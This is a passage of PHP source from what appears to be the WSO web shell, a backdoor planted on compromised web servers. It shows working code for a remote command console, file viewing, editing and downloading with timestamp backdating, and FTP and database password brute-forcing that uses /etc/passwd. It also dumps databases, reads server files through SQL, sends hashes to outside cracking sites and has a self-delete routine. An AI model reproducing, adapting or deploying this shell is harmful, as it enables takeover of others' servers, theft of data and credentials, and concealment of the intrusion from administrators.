548 if ($GLOBALS['sort'][0] != 'size') return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]])) * ($GLOBALS['sort'][1] ? 1 : -1);
549 else return (($a['size'] < $b['size']) ? -1 : 1) * ($GLOBALS['sort'][1] ? 1 : -1);
550 }
551 usort($files, "wsoCmp");
552 usort($dirs, "wsoCmp");
553 $files = array_merge($dirs, $files);
554 $l = 0;
555 foreach ($files as $f) {
556 echo '<tr' . ($l ? ' class=l1' : '') . '><td><input type=checkbox name="f[]" value="' . urlencode($f['name']) . '" class=chkbx></td><td><a href=# onclick="' . (($f['type'] == 'file') ? 'g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'view\')">' . htmlspecialchars($f['name']) : 'g(\'FilesMan\',\'' . $f['path'] . '\');" ' . (empty($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>') . '</a></td><td>' . (($f['type'] == 'file') ? wsoViewSize($f['size']) : $f['type']) . '</td><td>' . $f['modify'] . '</td><td>' . $f['owner'] . '/' . $f['group'] . '</td><td><a href=# onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\',\'chmod\')">' . $f['perms'] . '</td><td><a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'touch\')">T</a>' . (($f['type'] == 'file') ? ' <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'download\')">D</a>' : '') . '</td></tr>';
557 $l = $l ? 0 : 1;
558 }
559 echo "<tr><td colspan=7>
560 <input type=hidden name=a value='FilesMan'>
561 <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'>
562 <input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
563 <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
564 if (class_exists('ZipArchive')) echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
565 echo "<option value='tar'>Compress (tar.gz)</option>";
566 if (!empty($_COOKIE['act']) && @count($_COOKIE['f'])) echo "<option value='paste'>Paste / Compress</option>";
567 echo "</select> ";
568 if (!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar'))) echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip' ? 'zip' : 'tar.gz') . "'> ";
569 echo "<input type='submit' value='>>'></td></tr></form></table></div>";
570 wsoFooter();
571 }
572 function actionStringTools() {
573 if (!function_exists('hex2bin')) {
574 function hex2bin($p) {
575 return decbin(hexdec($p));
576 }
577 }
578 if (!function_exists('binhex')) {
579 function binhex($p) {
580 return dechex(bindec($p));
581 }
582 }
583 if (!function_exists('hex2ascii')) {
584 function hex2ascii($p) {
585 $r = '';
586 for ($i = 0;$i < strLen($p);$i+= 2) {
587 $r.= chr(hexdec($p[$i] . $p[$i + 1]));
588 }
589 return $r;
590 }
591 }
592 if (!function_exists('ascii2hex')) {
593 function ascii2hex($p) {
594 $r = '';
595 for ($i = 0;$i < strlen($p);++$i) $r.= sprintf('%02X', ord($p[$i]));
596 return strtoupper($r);
597 }
598 }
599 if (!function_exists('full_urlencode')) {
600 function full_urlencode($p) {
601 $r = '';
602 for ($i = 0;$i < strlen($p);++$i) $r.= '%' . dechex(ord($p[$i]));
603 return strtoupper($r);
604 }
605 }
606 $stringTools = array('Base64 encode' => 'base64_encode', 'Base64 decode' => 'base64_decode', 'Url encode' => 'urlencode', 'Url decode' => 'urldecode', 'Full urlencode' => 'full_urlencode', 'md5 hash' => 'md5', 'sha1 hash' => 'sha1', 'crypt' => 'crypt', 'CRC32' => 'crc32', 'ASCII to HEX' => 'ascii2hex', 'HEX to ASCII' => 'hex2ascii', 'HEX to DEC' => 'hexdec', 'HEX to BIN' => 'hex2bin', 'DEC to HEX' => 'dechex', 'DEC to BIN' => 'decbin', 'BIN to HEX' => 'binhex', 'BIN to DEC' => 'bindec', 'String to lower case' => 'strtolower', 'String to upper case' => 'strtoupper', 'Htmlspecialchars' => 'htmlspecialchars', 'String length' => 'strlen',);
607 if (isset($_POST['ajax'])) {
608 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
609 ob_start();
610 if (in_array($_POST['p1'], $stringTools)) echo $_POST['p1']($_POST['p2']);
611 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "
612
613 \'") . "';
614";
615 echo strlen($temp), "
616", $temp;
617 exit;
618 }
619 if (empty($_POST['ajax']) && !empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
620 wsoHeader();
621 echo '<h1>String conversions</h1><div class=content>';
622 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
623 foreach ($stringTools as $k => $v) echo "<option value='" . htmlspecialchars($v) . "'>" . $k . "</option>";
624 echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 " . (@$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . "> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>" . (empty($_POST['p1']) ? '' : htmlspecialchars(@$_POST['p2'])) . "</textarea></form><pre class='ml1' style='" . (empty($_POST['p1']) ? 'display:none;' : '') . "margin-top:5px' id='strOutput'>";
625 if (!empty($_POST['p1'])) {
626 if (in_array($_POST['p1'], $stringTools)) echo htmlspecialchars($_POST['p1']($_POST['p2']));
627 }
628 echo "</pre></div><br><h1>Search files:</h1><div class=content>
629 <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
630 <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
631 <tr><td>Path:</td><td><input type='text' name='cwd' value='" . htmlspecialchars($GLOBALS['cwd']) . "' style='width:100%'></td></tr>
632 <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
633 <tr><td></td><td><input type='submit' value='>>'></td></tr>
634 </table></form>";
635 function wsoRecursiveGlob($path) {
636 if (substr($path, -1) != '/') $path.= '/';
637 $paths = @array_unique(@array_merge(@glob($path . $_POST['p3']), @glob($path . '*', GLOB_ONLYDIR)));
638 if (is_array($paths) && @count($paths)) {
639 foreach ($paths as $item) {
640 if (@is_dir($item)) {
641 if ($path != $item) wsoRecursiveGlob($item);
642 } else {
643 if (empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2']) !== false) echo "<a href='#' onclick='g(\"FilesTools\",null,\"" . urlencode($item) . "\", \"view\",\"\")'>" . htmlspecialchars($item) . "</a><br>";
644 }
645 }
646 }
647 }
648 if (@$_POST['p3']) wsoRecursiveGlob($_POST['c']);
649 echo "</div><br><h1>Search for hash:</h1><div class=content>
650 <form method='post' target='_blank' name='hf'>
651 <input type='text' name='hash' style='width:200px;'><br>
652 <input type='hidden' name='act' value='find'/>
653 <input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
654 <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
655 <input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br>
656 </form></div>";
657 wsoFooter();
658 }
659 function actionFilesTools() {
660 if (isset($_POST['p1'])) $_POST['p1'] = urldecode($_POST['p1']);
661 if (@$_POST['p2'] == 'download') {
662 if (@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
663 ob_start("ob_gzhandler", 4096);
664 header("Content-Disposition: attachment; filename=" . basename($_POST['p1']));
665 if (function_exists("mime_content_type")) {
666 $type = @mime_content_type($_POST['p1']);
667 header("Content-Type: " . $type);
668 } else header("Content-Type: application/octet-stream");
669 $fp = @fopen($_POST['p1'], "r");
670 if ($fp) {
671 while (!@feof($fp)) echo @fread($fp, 1024);
672 fclose($fp);
673 }
674 }
675 exit;
676 }
677 if (@$_POST['p2'] == 'mkfile') {
678 if (!file_exists($_POST['p1'])) {
679 $fp = @fopen($_POST['p1'], 'w');
680 if ($fp) {
681 $_POST['p2'] = "edit";
682 fclose($fp);
683 }
684 }
685 }
686 wsoHeader();
687 echo '<h1>File tools</h1><div class=content>';
688 if (!file_exists(@$_POST['p1'])) {
689 echo 'File not exists';
690 wsoFooter();
691 return;
692 }
693 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
694 if (!$uid) {
695 $uid['name'] = @fileowner($_POST['p1']);
696 $gid['name'] = @filegroup($_POST['p1']);
697 } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
698 echo '<span>Name:</span> ' . htmlspecialchars(@basename($_POST['p1'])) . ' <span>Size:</span> ' . (is_file($_POST['p1']) ? wsoViewSize(filesize($_POST['p1'])) : '-') . ' <span>Permission:</span> ' . wsoPermsColor($_POST['p1']) . ' <span>Owner/Group:</span> ' . $uid['name'] . '/' . $gid['name'] . '<br>';
699 echo '<span>Change time:</span> ' . date('Y-m-d H:i:s', filectime($_POST['p1'])) . ' <span>Access time:</span> ' . date('Y-m-d H:i:s', fileatime($_POST['p1'])) . ' <span>Modify time:</span> ' . date('Y-m-d H:i:s', filemtime($_POST['p1'])) . '<br><br>';
700 if (empty($_POST['p2'])) $_POST['p2'] = 'view';
701 if (is_file($_POST['p1'])) $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
702 else $m = array('Chmod', 'Rename', 'Touch');
703 foreach ($m as $v) echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\'' . strtolower($v) . '\')">' . ((strtolower($v) == @$_POST['p2']) ? '<b>[ ' . $v . ' ]</b>' : $v) . '</a> ';
704 echo '<br><br>';
705 switch ($_POST['p2']) {
706 case 'view':
707 echo '<pre class=ml1>';
708 $fp = @fopen($_POST['p1'], 'r');
709 if ($fp) {
710 while (!@feof($fp)) echo htmlspecialchars(@fread($fp, 1024));
711 @fclose($fp);
712 }
713 echo '</pre>';
714 break;
715 case 'highlight':
716 if (@is_readable($_POST['p1'])) {
717 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
718 $code = @highlight_file($_POST['p1'], true);
719 echo str_replace(array('<span ', '</span>'), array('<font ', '</font>'), $code) . '</div>';
720 }
721 break;
722 case 'chmod':
723 if (!empty($_POST['p3'])) {
724 $perms = 0;
725 for ($i = strlen($_POST['p3']) - 1;$i >= 0;--$i) $perms+= (int)$_POST['p3'][$i] * pow(8, (strlen($_POST['p3']) - $i - 1));
726 if (!@chmod($_POST['p1'], $perms)) echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
727 }
728 clearstatcache();
729 echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="' . substr(sprintf('%o', fileperms($_POST['p1'])), -4) . '"><input type=submit value=">>"></form>';
730 break;
731 case 'edit':
732 if (!is_writable($_POST['p1'])) {
733 echo 'File isn\'t writeable';
734 break;
735 }
736 if (!empty($_POST['p3'])) {
737 $time = @filemtime($_POST['p1']);
738 $_POST['p3'] = substr($_POST['p3'], 1);
739 $fp = @fopen($_POST['p1'], "w");
740 if ($fp) {
741 @fwrite($fp, $_POST['p3']);
742 @fclose($fp);
743 echo 'Saved!<br><script>p3_="";</script>';
744 @touch($_POST['p1'], $time, $time);
745 }
746 }
747 echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
748 $fp = @fopen($_POST['p1'], 'r');
749 if ($fp) {
750 while (!@feof($fp)) echo htmlspecialchars(@fread($fp, 1024));
751 @fclose($fp);
752 }
753 echo '</textarea><input type=submit value=">>"></form>';
754 break;
755 case 'hexdump':
756 $c = @file_get_contents($_POST['p1']);
757 $n = 0;
758 $h = array('00000000<br>', '', '');
759 $len = strlen($c);
760 for ($i = 0;$i < $len;++$i) {
761 $h[1].= sprintf('%02X', ord($c[$i])) . ' ';
762 switch (ord($c[$i])) {
763 case 0:
764 $h[2].= ' ';
765 break;
766 case 9:
767 $h[2].= ' ';
768 break;
769 case 10:
770 $h[2].= ' ';
771 break;
772 case 13:
773 $h[2].= ' ';
774 break;
775 default:
776 $h[2].= $c[$i];
777 break;
778 }
779 $n++;
780 if ($n == 32) {
781 $n = 0;
782 if ($i + 1 < $len) {
783 $h[0].= sprintf('%08X', $i + 1) . '<br>';
784 }
785 $h[1].= '<br>';
786 $h[2].= "
787";
788 }
789 }
790 echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>' . $h[0] . '</pre></span></td><td bgcolor=#282828><pre>' . $h[1] . '</pre></td><td bgcolor=#333333><pre>' . htmlspecialchars($h[2]) . '</pre></td></tr></table>';
791 break;
792 case 'rename':
793 if (!empty($_POST['p3'])) {
794 if (!@rename($_POST['p1'], $_POST['p3'])) echo 'Can\'t rename!<br>';
795 else die('<script>g(null,null,"' . urlencode($_POST['p3']) . '",null,"")</script>');
796 }
797 echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="' . htmlspecialchars($_POST['p1']) . '"><input type=submit value=">>"></form>';
798 break;
799 case 'touch':
800 if (!empty($_POST['p3'])) {
801 $time = strtotime($_POST['p3']);
802 if ($time) {
803 if (!touch($_POST['p1'], $time, $time)) echo 'Fail!';
804 else echo 'Touched!';
805 } else echo 'Bad time format!';
806 }
807 clearstatcache();
808 echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="' . date("Y-m-d H:i:s", @filemtime($_POST['p1'])) . '"><input type=submit value=">>"></form>';
809 break;
810 }
811 echo '</div>';
812 wsoFooter();
813 }
814 function actionConsole() {
815 if (!empty($_POST['p1']) && !empty($_POST['p2'])) {
816 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', true);
817 $_POST['p1'].= ' 2>&1';
818 } elseif (!empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', 0);
819 if (isset($_POST['ajax'])) {
820 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
821 ob_start();
822 echo "d.cf.cmd.value='';
823";
824 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("
825$ " . $_POST['p1'] . "
826" . wsoEx($_POST['p1']), "
827
828 \'"));
829 if (preg_match("!.*cd\s+([^;]+)$!", $_POST['p1'], $match)) {
830 if (@chdir($match[1])) {
831 $GLOBALS['cwd'] = @getcwd();
832 echo "c_='" . $GLOBALS['cwd'] . "';";
833 }
834 }
835 echo "d.cf.output.value+='" . $temp . "';";
836 echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
837 $temp = ob_get_clean();
838 echo strlen($temp), "
839", $temp;
840 exit;
841 }
842 if (empty($_POST['ajax']) && !empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
843 wsoHeader();
844 echo "<script>
845if(window.Event) window.captureEvents(Event.KEYDOWN);
846var cmds = new Array('');
847var cur = 0;
848function kp(e) {
849 var n = (window.Event) ? e.which : e.keyCode;
850 if(n == 38) {
851 cur--;
852 if(cur>=0)
853 document.cf.cmd.value = cmds[cur];
854 else
855 cur++;
856 } else if(n == 40) {
857 cur++;
858 if(cur < cmds.length)
859 document.cf.cmd.value = cmds[cur];
860 else
861 cur--;
862 }
863}
864function add(cmd) {
865 cmds.pop();
866 cmds.push(cmd);
867 cmds.push('');
868 cur = cmds.length-1;
869}
870</script>";
871 echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
872 foreach ($GLOBALS['aliases'] as $n => $v) {
873 if ($v == '') {
874 echo '<optgroup label="-' . htmlspecialchars($n) . '-"></optgroup>';
875 continue;
876 }
877 echo '<option value="' . htmlspecialchars($v) . '">' . $n . '</option>';
878 }
879 echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 ' . (@$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX <input type=checkbox name=show_errors value=1 ' . (!empty($_POST['p2']) || $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'stderr_to_out'] ? 'checked' : '') . '> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
880 if (!empty($_POST['p1'])) {
881 echo htmlspecialchars("$ " . $_POST['p1'] . "
882" . wsoEx($_POST['p1']));
883 }
884 echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
885 echo '</form></div><script>d.cf.cmd.focus();</script>';
886 wsoFooter();
887 }
888 function actionLogout() {
889 setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
890 die('bye!');
891 }
892 function actionSelfRemove() {
893 if ($_POST['p1'] == 'yes') if (@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__))) die('Shell has been removed');
894 else echo 'unlink error!';
895 if ($_POST['p1'] != 'yes') wsoHeader();
896 echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
897 wsoFooter();
898 }
899 function actionBruteforce() {
900 wsoHeader();
901 if (isset($_POST['proto'])) {
902 echo '<h1>Results</h1><div class=content><span>Type:</span> ' . htmlspecialchars($_POST['proto']) . ' <span>Server:</span> ' . htmlspecialchars($_POST['server']) . '<br>';
903 if ($_POST['proto'] == 'ftp') {
904 function wsoBruteForce($ip, $port, $login, $pass) {
905 $fp = @ftp_connect($ip, $port ? $port : 21);
906 if (!$fp) return false;
907 $res = @ftp_login($fp, $login, $pass);
908 @ftp_close($fp);
909 return $res;
910 }
911 } elseif ($_POST['proto'] == 'mysql') {
912 function wsoBruteForce($ip, $port, $login, $pass) {
913 $res = @mysql_connect($ip . ':' . ($port ? $port : 3306), $login, $pass);
914 @mysql_close($res);
915 return $res;
916 }
917 } elseif ($_POST['proto'] == 'pgsql') {
918 function wsoBruteForce($ip, $port, $login, $pass) {
919 $str = "host='" . $ip . "' port='" . $port . "' user='" . $login . "' password='" . $pass . "' dbname=postgres";
920 $res = @pg_connect($str);
921 @pg_close($res);
922 return $res;
923 }
924 }
925 $success = 0;
926 $attempts = 0;
927 $server = explode(":", $_POST['server']);
928 if ($_POST['type'] == 1) {
929 $temp = @file('/etc/passwd');
930 if (is_array($temp)) foreach ($temp as $line) {
931 $line = explode(":", $line);
932 ++$attempts;
933 if (wsoBruteForce(@$server[0], @$server[1], $line[0], $line[0])) {
934 $success++;
935 echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($line[0]) . '<br>';
936 }
937 if (@$_POST['reverse']) {
938 $tmp = "";
939 for ($i = strlen($line[0]) - 1;$i >= 0;--$i) $tmp.= $line[0][$i];
940 ++$attempts;
941 if (wsoBruteForce(@$server[0], @$server[1], $line[0], $tmp)) {
942 $success++;
943 echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($tmp);
944 }
945 }
946 }
947 } elseif ($_POST['type'] == 2) {
948 $temp = @file($_POST['dict']);
949 if (is_array($temp)) foreach ($temp as $line) {
950 $line = trim($line);
951 ++$attempts;
952 if (wsoBruteForce($server[0], @$server[1], $_POST['login'], $line)) {
953 $success++;
954 echo '<b>' . htmlspecialchars($_POST['login']) . '</b>:' . htmlspecialchars($line) . '<br>';
955 }
956 }
957 }
958 echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
959 }
960 echo '<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>' . '<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>' . '<input type=hidden name=c value="' . htmlspecialchars($GLOBALS['cwd']) . '">' . '<input type=hidden name=a value="' . htmlspecialchars($_POST['a']) . '">' . '<input type=hidden name=charset value="' . htmlspecialchars($_POST['charset']) . '">' . '<span>Server:port</span></td>' . '<td><input type=text name=server value="127.0.0.1"></td></tr>' . '<tr><td><span>Brute type</span></td>' . '<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>' . '<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>' . '<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>' . '<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>' . '<td><input type=text name=login value="root"></td></tr>' . '<tr><td><span>Dictionary</span></td>' . '<td><input type=text name=dict value="' . htmlspecialchars($GLOBALS['cwd']) . 'passwd.dic"></td></tr></table>' . '</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
961 echo '</div><br>';
962 wsoFooter();
963 }
964 function actionSql() {
965 class DbClass {
966 var $type;
967 var $link;
968 var $res;
969 function DbClass($type) {
970 $this->type = $type;
971 }
972 function connect($host, $user, $pass, $dbname) {
973 switch ($this->type) {
974 case 'mysql':
975 if ($this->link = @mysql_connect($host, $user, $pass, true)) return true;
976 break;
977 case 'pgsql':
978 $host = explode(':', $host);
979 if (!$host[1]) $host[1] = 5432;
980 if ($this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname")) return true;
981 break;
982 }
983 return false;
984 }
985 function selectdb($db) {
986 switch ($this->type) {
987 case 'mysql':
988 if (@mysql_select_db($db)) return true;
989 break;
990 }
991 return false;
992 }
993 function query($str) {
994 switch ($this->type) {
995 case 'mysql':
996 return $this->res = @mysql_query($str);
997 break;
998 case 'pgsql':
999 return $this->res = @pg_query($this->link, $str);
1000 break;
1001 }
1002 return false;
1003 }
1004 function fetch() {
1005 $res = func_num_args() ? func_get_arg(0) : $this->res;
1006 switch ($this->type) {
1007 case 'mysql':
1008 return @mysql_fetch_assoc($res);
1009 break;
1010 case 'pgsql':
1011 return @pg_fetch_assoc($res);
1012 break;
1013 }
1014 return false;
1015 }
1016 function listDbs() {
1017 switch ($this->type) {
1018 case 'mysql':
1019 return $this->query("SHOW databases");
1020 break;
1021 case 'pgsql':
1022 return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
1023 break;
1024 }
1025 return false;
1026 }
1027 function listTables() {
1028 switch ($this->type) {
1029 case 'mysql':
1030 return $this->res = $this->query('SHOW TABLES');
1031 break;
1032 case 'pgsql':
1033 return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
1034 break;
1035 }
1036 return false;
1037 }
1038 function error() {
1039 switch ($this->type) {
1040 case 'mysql':
1041 return @mysql_error();
1042 break;
1043 case 'pgsql':
1044 return @pg_last_error();
1045 break;
1046 }
1047 return false;
1048 }
1049 function setCharset($str) {
1050 switch ($this->type) {
1051 case 'mysql':
1052 if (function_exists('mysql_set_charset')) return @mysql_set_charset($str, $this->link);
1053 else $this->query('SET CHARSET ' . $str);
1054 break;
1055 case 'pgsql':
1056 return @pg_set_client_encoding($this->link, $str);
1057 break;
1058 }
1059 return false;
1060 }
1061 function loadFile($str) {
1062 switch ($this->type) {
1063 case 'mysql':
1064 return $this->fetch($this->query("SELECT LOAD_FILE('" . addslashes($str) . "') as file"));
1065 break;
1066 case 'pgsql':
1067 $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '" . addslashes($str) . "';select file from wso2;");
1068 $r = array();
1069 while ($i = $this->fetch()) $r[] = $i['file'];
1070 $this->query('drop table wso2');
1071 return array('file' => implode("
1072", $r));
1073 break;
1074 }
1075 return false;
1076 }
1077 function dump($table, $fp = false) {
1078 switch ($this->type) {
1079 case 'mysql':
1080 $res = $this->query('SHOW CREATE TABLE `' . $table . '`');
1081 $create = mysql_fetch_array($res);
1082 $sql = $create[1] . ";
1083";
1084 if ($fp) fwrite($fp, $sql);
1085 else echo ($sql);
1086 $this->query('SELECT * FROM `' . $table . '`');
1087 $i = 0;
1088 $head = true;
1089 while ($item = $this->fetch()) {
1090 $sql = '';
1091 if ($i % 1000 == 0) {
1092 $head = true;
1093 $sql = ";
1094
1095";
1096 }
1097 $columns = array();
1098 foreach ($item as $k => $v) {
1099 if ($v === null) $item[$k] = "NULL";
1100 elseif (is_int($v)) $item[$k] = $v;
1101 else $item[$k] = "'" . @mysql_real_escape_string($v) . "'";
1102 $columns[] = "`" . $k . "`";
1103 }
1104 if ($head) {
1105 $sql.= 'INSERT INTO `' . $table . '` (' . implode(", ", $columns) . ") VALUES
1106 (" . implode(", ", $item) . ')';
1107 $head = false;
1108 } else $sql.= "
1109 ,(" . implode(", ", $item) . ')';
1110 if ($fp) fwrite($fp, $sql);
1111 else echo ($sql);
1112 $i++;
1113 }
1114 if (!$head) if ($fp) fwrite($fp, ";
1115
1116");
1117 else echo (";
1118
1119");
1120 break;
1121 case 'pgsql':
1122 $this->query('SELECT * FROM ' . $table);
1123 while ($item = $this->fetch()) {
1124 $columns = array();
1125 foreach ($item as $k => $v) {
1126 $item[$k] = "'" . addslashes($v) . "'";
1127 $columns[] = $k;
1128 }
1129 $sql = 'INSERT INTO ' . $table . ' (' . implode(", ", $columns) . ') VALUES (' . implode(", ", $item) . ');' . "
1130";
1131 if ($fp) fwrite($fp, $sql);
1132 else echo ($sql);
1133 }
1134 break;
1135 }
1136 return false;
1137 }
1138 };
1139 $db = new DbClass($_POST['type']);
1140 if ((@$_POST['p2'] == 'download') && (@$_POST['p1'] != 'select')) {
1141 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
1142 $db->selectdb($_POST['sql_base']);
1143 switch ($_POST['charset']) {
1144 case "Windows-1251":
1145 $db->setCharset('cp1251');
1146 break;
1147 case "UTF-8":
1148 $db->setCharset('utf8');
1149 break;
1150 case "KOI8-R":
1151 $db->setCharset('koi8r');
1152 break;
1153 case "KOI8-U":
1154 $db->setCharset('koi8u');
1155 break;
1156 case "cp866":
1157 $db->setCharset('cp866');
1158 break;
1159 }
1160 if (empty($_POST['file'])) {
1161 ob_start("ob_gzhandler", 4096);
1162 header("Content-Disposition: attachment; filename=dump.sql");
1163 header("Content-Type: text/plain");
1164 foreach ($_POST['tbl'] as $v) $db->dump($v);
1165 exit;
1166 } elseif ($fp = @fopen($_POST['file'], 'w')) {
1167 foreach ($_POST['tbl'] as $v) $db->dump($v, $fp);
1168 fclose($fp);
1169 unset($_POST['p2']);
1170 } else die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
1171 }
1172 wsoHeader();
1173 echo "
1174<h1>Sql browser</h1><div class=content>
1175<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
1176<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
1177<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
1178<td><select name='type'><option value='mysql' ";
1179 if (@$_POST['type'] == 'mysql') echo 'selected';
1180 echo ">MySql</option><option value='pgsql' ";
1181 if (@$_POST['type'] == 'pgsql') echo 'selected';
1182 echo ">PostgreSql</option></select></td>
1183<td><input type=text name=sql_host value=\"" . (empty($_POST['sql_host']) ? 'localhost' : htmlspecialchars($_POST['sql_host'])) . "\"></td>
1184<td><input type=text name=sql_login value=\"" . (empty($_POST['sql_login']) ? 'root' : htmlspecialchars($_POST['sql_login'])) . "\"></td>
1185<td><input type=text name=sql_pass value=\"" . (empty($_POST['sql_pass']) ? '' : htmlspecialchars($_POST['sql_pass'])) . "\"></td><td>";
1186 $tmp = "<input type=text name=sql_base value=''>";
1187 if (isset($_POST['sql_host'])) {
1188 if ($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
1189 switch ($_POST['charset']) {
1190 case "Windows-1251":
1191 $db->setCharset('cp1251');
1192 break;
1193 case "UTF-8":
1194 $db->setCharset('utf8');
1195 break;
1196 case "KOI8-R":
1197 $db->setCharset('koi8r');
1198 break;
1199 case "KOI8-U":
1200 $db->setCharset('koi8u');
1201 break;
1202 case "cp866":
1203 $db->setCharset('cp866');
1204 break;
1205 }
1206 $db->listDbs();
